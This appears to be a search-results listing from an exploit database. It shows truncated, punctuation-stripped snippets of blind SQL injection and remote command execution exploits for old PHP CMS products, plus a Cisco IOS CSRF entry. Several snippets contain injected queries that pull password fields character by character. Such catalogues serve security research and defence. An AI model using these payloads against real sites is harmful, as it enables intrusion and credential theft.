7407 matches found
CVE-2009-0471: Cross-Site Request Forgery (CSRF)
Cross-site request forgery CSRF vulnerability in the HTTP server in Cisco IOS 12.423 allows remote attackers to execute arbitrary commands, as demonstrated by executing the hostname command with a level/15/configure/-/hostname request...
YapBB <= 1.2 (forumID) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM "...
CMS Mini <= 0.2.2 Remote Command Execution Exploit
Exploit for unknown platform in category web applications ================================================== CMS Mini ". "\n+ Ex. : php xpl.php localhost /CMSmini". "\n\n"; if $argc != 3 usage; $hostname = $argv 1; $path = $argv 2; $fp = fsockopen $hostname, 80; $post = "message="; $request = "PO...
Motorola Wimax modem CPEi300 (FD/XSS) Multiple Vulnerabilities
No description provided by source. Name : Motorola Wimax modem CPEi300 Multiple Vulnerabilities Author : Usman Saeed Company : Xc0re Security Reasearch Group Homepage : http://www.xc0re.net Note: User needs to logged in! Attack type : Remote Patch Status : Unpatched Exploitation : + Directory...
PLE CMS 1.0 Beta 4.2 SQL Injection
--+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ". "\n+ Ex. : php xpl.php localhost /PLECMS root...
PHP-CMS 1 (username) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================ PHP-CMS 1 username Blind SQL Injection Exploit ================================================ --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL...
PHP-CMS 1 - Username Blind SQL Injection
PHP-CMS 1 - Username Blind SQL Injection --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Bli...
ITLPoll 2.7 Stable2 - Blind SQL Injection
". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORDMIDSELECT IFNULLCAST$func AS CHAR10000, CHAR32 FROM itlconfig...
PHP-CMS 1 - 'Username' Blind SQL Injection
--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...
Pardal CMS <= 0.2.0 Blind SQL Injection Exploit
No description provided by source. --+++=============================================================+++-- --+++====== Pardal CMS = 0.2.0 Blind SQL Injection Exploit ======+++-- --+++=============================================================+++-- ?php function usage echo "\nPardal CMS = 0.2.0...
DNS Server hostname.bind Map Hostname Disclosure
It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid35371; scriptversion"$Revision: 1.11 $"; scriptcvsdate"$Date: 2011/09/14 15:27:29 $";...
Blue Eye CMS 1.0.0 - 'clanek' Blind SQL Injection
--+++===============================================================+++-- --+++====== Blue Eye CMS ". "\n+ Ex. : php xpl.php localhost /BlueEye admin". "\n\n"; exit ; function query $user, $pos, $chr $query = "x' OR ASCIISUBSTRINGSELECT password FROM blueeyeusers WHERE user = '$user',$pos,1=$chr ...
phpMDJ <= 1.0.3 (id_animateur) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================== phpMDJ :.+/", $reply, $x; if strlen trim $x 1 == 0 return false; else return true; function usage echo "\n+ phpMDJ "...
phpMDJ <= 1.0.3 (id_animateur) Blind SQL Injection Exploit
No description provided by source. --+++=========================================================+++-- --+++====== phpMDJ = 1.0.3 Blind SQL Injection Exploit ======+++-- --+++=========================================================+++-- ?php function query $usr, $chr, $pos $query = "x' OR...
Pizzis CMS <= 1.5.1 (visualizza.php idvar) Blind SQL Injection Exploit
No description provided by source. --+++=============================================================+++-- --+++====== Pizzis CMS = 1.5.1 Blind SQL Injection Exploit ======+++-- --+++=============================================================+++-- !/usr/bin/perl use strict; use warnings; use...
Pizzis CMS 1.5.1 Blind SQL Injection Exploit
--+++=============================================================+++-- --+++====== Pizzis CMS ". "\n+ Ex. : perl $0 localhost /pizziscms admin". "\n+ Greetz: my girlfriend, she has no idea about what is it $hostname, PeerPort = 80, Proto = "tcp", or die $!; my $query = query $user, $chr, $pos; m...
Pizzis CMS 1.5.1 - Blind SQL Injection
Pizzis CMS 1.5.1 - Blind SQL Injection --+++=============================================================+++-- --+++====== Pizzis CMS ". "\n+ Ex. : perl $0 localhost /pizziscms admin". "\n+ Greetz: my girlfriend, she has no idea about what is it $hostname, PeerPort = 80, Proto = "tcp", or die $!;...
Goople <= 1.8.2 (frontpage.php) Blind SQL Injection Exploit
No description provided by source. --+++=========================================================+++-- --+++====== Goople = 1.8.2 Blind SQL Injection Exploit ======+++-- --+++=========================================================+++-- !/usr/bin/php ? function usage echo "\n+ Goople = 1.8.2 Bli...
Goople 1.8.2 - FrontPage.php Blind SQL Injection
Goople 1.8.2 - FrontPage.php Blind SQL Injection --+++=========================================================+++-- --+++====== Goople key". "\n+ Ex. : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz". "\n+ Note : Have fun ^^\n\n"; exit ; function check $hostname, $path, $field, $pos,...
Goople 1.8.2 - 'FrontPage.php' Blind SQL Injection
--+++=========================================================+++-- --+++====== Goople key". "\n+ Ex. : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz". "\n+ Note : Have fun ^^\n\n"; exit ; function check $hostname, $path, $field, $pos, $char $char = ord $char; $fp = fsockopen $hostname...